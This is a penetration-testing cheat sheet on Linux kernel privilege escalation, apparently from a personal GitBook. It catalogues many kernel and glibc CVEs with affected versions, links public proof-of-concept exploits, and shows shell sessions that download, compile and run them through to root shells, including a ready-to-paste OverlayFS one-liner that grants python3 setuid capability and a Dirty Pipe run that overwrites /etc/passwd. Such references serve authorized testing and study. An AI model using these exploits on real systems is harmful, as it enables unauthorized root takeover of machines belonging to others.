> For the complete documentation index, see [llms.txt](https://0xss0rz.gitbook.io/0xss0rz/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://0xss0rz.gitbook.io/0xss0rz/pentest/privilege-escalation/linux/kernel-exploits.md).

# Kernel Exploits

[![ko-fi](https://ko-fi.com/img/githubbutton_sm.svg)](https://ko-fi.com/Y8Y41FQ2GA)

## Linux Kernel Version

```
uname -a

Linux NIX02 4.4.0-116-generic #140-Ubuntu SMP Mon Feb 12 21:23:04 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux
```

Linux Kernel 4.4.0-116

```shell-session
$ uname -r

5.10.5-051005-generic
```

```shell-session
$ cat /etc/lsb-release 

DISTRIB_ID=Ubuntu
DISTRIB_RELEASE=16.04
DISTRIB_CODENAME=xenial
DISTRIB_DESCRIPTION="Ubuntu 16.04.4 LTS"
```

{% hint style="info" %}
*Kernel exploits can cause system instability so use caution when running these against a production system.*
{% endhint %}

### Google "Linux Kernel XXX exploit" and/or "OS XXX exploit"

<figure><img src="/files/sbZS6ZsVylARvRIJri9L" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/1jbb4f8JFnCwRUwTgGts" alt=""><figcaption></figcaption></figure>

### Linux Exploit Suggester

{% embed url="<https://github.com/The-Z-Labs/linux-exploit-suggester/blob/master/linux-exploit-suggester.sh>" %}

<figure><img src="/files/YWLUlf1dt4ZpiinLBB53" alt=""><figcaption></figcaption></figure>

### Metasploit - Local Exploit Suggester

{% embed url="<https://www.infosecmatter.com/metasploit-module-library/?mm=post/multi/recon/local_exploit_suggester>" %}

## LPE Toolkit

{% embed url="<https://github.com/portbuster1337/lpe-toolkit>" %}

<figure><img src="/files/0HDjHBkr58XTBwBhknrf" alt=""><figcaption></figcaption></figure>

## DirtyFrag

{% embed url="<https://github.com/V4bel/dirtyfrag>" %}

## Fragnesia

{% embed url="<https://github.com/v12-security/pocs/tree/main/fragnesia>" %}

## ssh-keysign-pwn&#x20;

{% embed url="<https://github.com/0xdeadbeefnetwork/ssh-keysign-pwn>" %}

## CVE-2026-31431 - CopyFail

{% embed url="<https://github.com/theori-io/copy-fail-CVE-2026-31431>" %}

{% embed url="<https://github.com/badsectorlabs/copyfail-go>" %}

<figure><img src="/files/wo3jYzHyeo5YJePnAaVo" alt=""><figcaption></figcaption></figure>

## Universal local privilege escalation - CVE-2024-1086 - Linux kernels between v5.14 and v6.6

including Debian, Ubuntu, and KernelCTF

**See Releases:**&#x20;

{% embed url="<https://github.com/Notselwyn/CVE-2024-1086>" %}

## DirtyCow - Linux Kernel 2.6.22 < 3.9

{% embed url="<https://github.com/dirtycow/dirtycow.github.io/wiki/PoCs>" %}

{% embed url="<https://www.exploit-db.com/exploits/40839>" %}

## Linux Kernel 4.4.0-116

{% embed url="<https://vulners.com/zdt/1337DAY-ID-30003>" %}

```shell-session
gcc kernel_exploit.c -o kernel_exploit && chmod +x kernel_exploit
```

```shell-session
$ ./kernel_exploit 

task_struct = ffff8800b71d7000
uidptr = ffff8800b95ce544
spawning root shell
```

## Ubuntu 21.10 with kernel 5.13.0-37 -&#x20;

{% embed url="<https://github.com/Bonfee/CVE-2022-0995>" %}

<figure><img src="/files/f3WlB5mZRIgrQhzbprnS" alt=""><figcaption></figcaption></figure>

## Ubuntu - CVE-2021-3493 OverlayFS

* Ubuntu 20.10
* Ubuntu 20.04 LTS
* Ubuntu 19.04
* Ubuntu 18.04 LTS
* Ubuntu 16.04 LTS
* Ubuntu 14.04 ESM

{% embed url="<https://github.com/briskets/CVE-2021-3493>" %}

## CVE-2022-23222 -  Linux Kernel eBPF Local Privilege Escalation

Linux kernel through 5.15.14

{% embed url="<https://github.com/tr3ee/CVE-2022-23222>" %}

## CVE-2022-0995

The exploit targets Ubuntu 21.10 with kernel `5.13.0-37`

{% embed url="<https://github.com/Bonfee/CVE-2022-0995>" %}

## Ubuntu - CVE-2023-32629 & CVE-2023-2640

```
unshare -rm sh -c "mkdir l u w m && cp /u*/b*/p*3 l/;
setcap cap_setuid+eip l/python3;mount -t overlay overlay -o rw,lowerdir=l,upperdir=u,workdir=w m && touch m/*;" && u/python3 -c 'import os;os.setuid(0);os.system("id")'
```

{% embed url="<https://x.com/liadeliyahu/status/1684841527959273472?s=19&t=puhDAlZCy_75s7UbdV-bFw>" %}

{% embed url="<https://github.com/ThrynSec/CVE-2023-32629-CVE-2023-2640---POC-Escalation>" %}

## GameOver(lay) Ubuntu PrivEsc - CVE-2023-2640-CVE-2023-32629

| Kernel version | Ubuntu release                                                    |
| -------------- | ----------------------------------------------------------------- |
| 6.2.0          | Ubuntu 23.04 (Lunar Lobster) / Ubuntu 22.04 LTS (Jammy Jellyfish) |
| 5.19.0         | Ubuntu 22.10 (Kinetic Kudu) / Ubuntu 22.04 LTS (Jammy Jellyfish)  |
| 5.4.0          | Ubuntu 22.04 LTS (Local Fossa) / Ubuntu 18.04 LTS (Bionic Beaver) |

{% embed url="<https://github.com/g1vi/CVE-2023-2640-CVE-2023-32629>" %}

## CVE-2023-35001

Kernel 5.19.0-35

{% embed url="<https://github.com/synacktiv/CVE-2023-35001>" %}

{% embed url="<https://0xdf.gitlab.io/2024/04/13/htb-hospital.html#cve-2023-35001>" %}

## CVE-2023-0386 - OverlayFS vulnerability

kernel version lower than 6.2. Ubuntu 22.04

{% embed url="<https://github.com/xkaneiki/CVE-2023-0386>" %}

{% embed url="<https://securitylabs.datadoghq.com/articles/overlayfs-cve-2023-0386/>" %}

{% embed url="<https://0xdf.gitlab.io/2023/06/07/htb-twomillion.html#shell-as-root>" %}

Ubuntu 22.04

{% embed url="<https://github.com/sxlmnwb/CVE-2023-0386>" %}

## CVE-2023-32233

Linux kernel through 6.3 - Tested on Ubuntu 23.04 (Lunar Lobster).

{% embed url="<https://github.com/Liuk3r/CVE-2023-32233>" %}

## CVE-2023-4911 - Looney Tunables

Fedora 37 and 38, Ubuntu 22.04 and 23.04, and Debian 12 and 13

{% embed url="<https://github.com/leesh3288/CVE-2023-4911>" %}

{% embed url="<https://blog.qualys.com/vulnerabilities-threat-research/2023/10/03/cve-2023-4911-looney-tunables-local-privilege-escalation-in-the-glibcs-ld-so>" %}

## Ubuntu 24.04

{% embed url="<https://snyk.io/fr/blog/abusing-ubuntu-root-privilege-escalation/?s=03>" %}

## Dirty Pipe - 5.8 to 5.17

All kernels from version `5.8` to `5.17`&#x20;

{% embed url="<https://github.com/AlexisAhmed/CVE-2022-0847-DirtyPipe-Exploits>" %}

```shell-session
$ git clone https://github.com/AlexisAhmed/CVE-2022-0847-DirtyPipe-Exploits.git
$ cd CVE-2022-0847-DirtyPipe-Exploits
$ bash compile.sh
```

### Exploit 1

```shell-session
$ ./exploit-1

Backing up /etc/passwd to /tmp/passwd.bak ...
Setting root password to "piped"...
Password: Restoring /etc/passwd from /tmp/passwd.bak...
Done! Popping shell... (run commands now)

id

uid=0(root) gid=0(root) groups=0(root)
```

### Exploit 2

```shell-session
$ find / -perm -4000 2>/dev/null

/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/openssh/ssh-keysign
/usr/lib/snapd/snap-confine
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/lib/eject/dmcrypt-get-device
/usr/lib/xorg/Xorg.wrap
/usr/sbin/pppd
/usr/bin/chfn
/usr/bin/su
/usr/bin/chsh
/usr/bin/umount
/usr/bin/passwd
/usr/bin/fusermount
/usr/bin/sudo
/usr/bin/vmware-user-suid-wrapper
/usr/bin/gpasswd
/usr/bin/mount
/usr/bin/pkexec
/usr/bin/newgrp
```

```shell-session
$ ./exploit-2 /usr/bin/sudo

[+] hijacking suid binary..
[+] dropping suid shell..
[+] restoring suid binary..
[+] popping root shell.. (dont forget to clean up /tmp/sh ;))

# id

uid=0(root) gid=0(root) groups=0(root),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),120(lpadmin),131(lxd),132(sambashare),1000(cry0l1t3)
```

## Netfilter

### **CVE-2021-22555 - 2.6 - 5.11**

Vulnerable kernel versions: 2.6 - 5.11

```shell-session
$ uname -r

5.10.5-051005-generic
```

{% embed url="<https://github.com/google/security-research/tree/master/pocs/linux/cve-2021-22555>" %}

```shell-session
$ wget https://raw.githubusercontent.com/google/security-research/master/pocs/linux/cve-2021-22555/exploit.c
$ gcc -m32 -static exploit.c -o exploit
$ ./exploit

[+] Linux Privilege Escalation by theflow@ - 2021

[+] STAGE 0: Initialization
[*] Setting up namespace sandbox...
[*] Initializing sockets and message queues...

[+] STAGE 1: Memory corruption
[*] Spraying primary messages...
[*] Spraying secondary messages...
[*] Creating holes in primary messages...
[*] Triggering out-of-bounds write...
[*] Searching for corrupted primary message...
[+] fake_idx: fff
[+] real_idx: fdf

...SNIP...

root@ubuntu:/home/cry0l1t3# id

uid=0(root) gid=0(root) groups=0(root)
```

### **CVE-2022-25636 - 4.5 - 5.6.10**

Linux kernel 5.4 through 5.6.10

```shell-session
$ uname -r

5.13.0-051300-generic
```

{% embed url="<https://github.com/Bonfee/CVE-2022-25636>" %}

```shell-session
$ git clone https://github.com/Bonfee/CVE-2022-25636.git
$ cd CVE-2022-25636
$ make
$ ./exploit

[*] STEP 1: Leak child and parent net_device
[+] parent net_device ptr: 0xffff991285dc0000
[+] child  net_device ptr: 0xffff99128e5a9000

[*] STEP 2: Spray kmalloc-192, overwrite msg_msg.security ptr and free net_device
[+] net_device struct freed

[*] STEP 3: Spray kmalloc-4k using setxattr + FUSE to realloc net_device
[+] obtained net_device struct

[*] STEP 4: Leak kaslr
[*] kaslr leak: 0xffffffff823093c0
[*] kaslr base: 0xffffffff80ffefa0

[*] STEP 5: Release setxattrs, free net_device, and realloc it again
[+] obtained net_device struct

[*] STEP 6: rop :)

# id

uid=0(root) gid=0(root) groups=0(root)
```

### CVE-2022-1015 - 5.12 - 5.17

Kernels after commit 345023b0db31 (v5.12) but before commit 6e1acfa387b9 (v5.17) are vulnerable.

{% embed url="<https://github.com/pqlx/CVE-2022-1015>" %}

### **CVE-2023-32233 - Up to 6.3.1**&#x20;

Linux Kernel up to version `6.3.1`

{% embed url="<https://github.com/Liuk3r/CVE-2023-32233>" %}

```shell-session
$ git clone https://github.com/Liuk3r/CVE-2023-32233
$ cd CVE-2023-32233
$ gcc -Wall -o exploit exploit.c -lmnl -lnftnl
```

```shell-session
$ ./exploit

[*] Netfilter UAF exploit

Using profile:
========
1                   race_set_slab                   # {0,1}
1572                race_set_elem_count             # k
4000                initial_sleep                   # ms
100                 race_lead_sleep                 # ms
600                 race_lag_sleep                  # ms
100                 reuse_sleep                     # ms
39d240              free_percpu                     # hex
2a8b900             modprobe_path                   # hex
23700               nft_counter_destroy             # hex
347a0               nft_counter_ops                 # hex
a                   nft_counter_destroy_call_offset # hex
ffffffff            nft_counter_destroy_call_mask   # hex
e8e58948            nft_counter_destroy_call_check  # hex
========

[*] Checking for available CPUs...
[*] sched_getaffinity() => 0 2
[*] Reserved CPU 0 for PWN Worker
[*] Started cpu_spinning_loop() on CPU 1
[*] Started cpu_spinning_loop() on CPU 2
[*] Started cpu_spinning_loop() on CPU 3
[*] Creating "/tmp/modprobe"...
[*] Creating "/tmp/trigger"...
[*] Updating setgroups...
[*] Updating uid_map...
[*] Updating gid_map...
[*] Signaling PWN Worker...
[*] Waiting for PWN Worker...

...SNIP...

[*] You've Got ROOT:-)

# id

uid=0(root) gid=0(root) groups=0(root)
```

## CVE-2025-38001

Debian 12 PoC

{% embed url="<https://github.com/0xdevil/CVE-2025-38001>" %}

## Interesting Books

{% content-ref url="/pages/VVT5FQq9z62bWoNAWCUS" %}
[Interesting Books](/0xss0rz/interesting-books.md)
{% endcontent-ref %}

{% hint style="info" %}
**Disclaimer**: As an Amazon Associate, I earn from qualifying purchases. This helps support this GitBook project at no extra cost to you.
{% endhint %}

* [**The Web Application Hacker’s Handbook**](https://www.amazon.fr/dp/1118026470?tag=0xss0rz-21) The go-to manual for web app pentesters. Covers XSS, SQLi, logic flaws, and more
* [**Bug Bounty Bootcamp: The Guide to Finding and Reporting Web Vulnerabilities**](https://www.amazon.fr/dp/1718501544?tag=0xss0rz-21) Learn how to perform reconnaissance on a target, how to identify vulnerabilities, and how to exploit them
* [**Real-World Bug Hunting: A Field Guide to Web Hacking**](https://www.amazon.fr/dp/1593278616?tag=0xss0rz-21) Learn about the most common types of bugs like cross-site scripting, insecure direct object references, and server-side request forgery.

## Support this Gitbook

I hope it helps you as much as it has helped me. If you can support me in any way, I would deeply appreciate it.

[![ko-fi](https://ko-fi.com/img/githubbutton_sm.svg)](https://ko-fi.com/Y8Y41FQ2GA)

[![buymeacoffee](https://cdn.buymeacoffee.com/buttons/v2/default-yellow.png)](https://buymeacoffee.com/0xss0rz)